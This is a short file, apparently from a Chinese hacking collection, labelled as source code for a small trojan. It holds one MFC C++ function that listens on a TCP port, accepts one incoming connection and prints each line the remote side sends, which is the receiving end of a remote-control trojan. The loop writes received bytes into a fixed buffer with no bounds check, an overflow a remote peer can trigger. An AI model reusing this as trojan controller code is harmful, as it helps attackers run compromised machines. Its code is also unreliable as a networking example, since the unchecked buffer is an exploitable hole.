本地监听.txt

一个小木马的源码

UINT ListenThread(LPVOID lparam)
{
	CTestDlg *pDlg=(CTestDlg *)lparam;
	struct               sockaddr_in sin;
	
	pDlg->sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if(pDlg->sServer==INVALID_SOCKET)
	{
		OutputDebugString("Socket Error !\n");
		return -1;                                   
	}
	sin.sin_family           = AF_INET;
	sin.sin_port             = htons(pDlg->m_iPort);
	sin.sin_addr.S_un.S_addr = INADDR_ANY;

	if(bind(pDlg->sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
	{
		OutputDebugString("Bind Error !\n");
		return -1;
	}
	if(listen(pDlg->sServer,5)==SOCKET_ERROR)   
	{
		OutputDebugString("Listen Error !\n");
		return -1;
	}
	pDlg->sClient=accept(pDlg->sServer,NULL,NULL);
	
	//有连接连上来了
	pDlg->m_blHasSocket=TRUE;
	pDlg->ChangeView(true);

	DWORD        dwBuffer2Write;
	char         szBuffer[1];
	char         szBuffer2Write[BUFFER_SIZE];
	CString		 strAns;
	dwBuffer2Write=0;  
	//接收数据
	while(recv(pDlg->sClient,szBuffer,1,0)!=0) 
	{
		szBuffer2Write[dwBuffer2Write++]=szBuffer[0];
		
		if(szBuffer[0]=='\n')
		{
			//输出数据
			szBuffer2Write[dwBuffer2Write]=0;
			strAns.Format("%s",szBuffer2Write);
			pDlg->AddAnswer(strAns);
			dwBuffer2Write=0;
		}
		Sleep(10);
	}
	pDlg->ChangeView(false);
	shutdown(pDlg->sClient,0x02);        
	closesocket(pDlg->sClient);
	pDlg->m_blHasSocket=FALSE;
	return 0;
}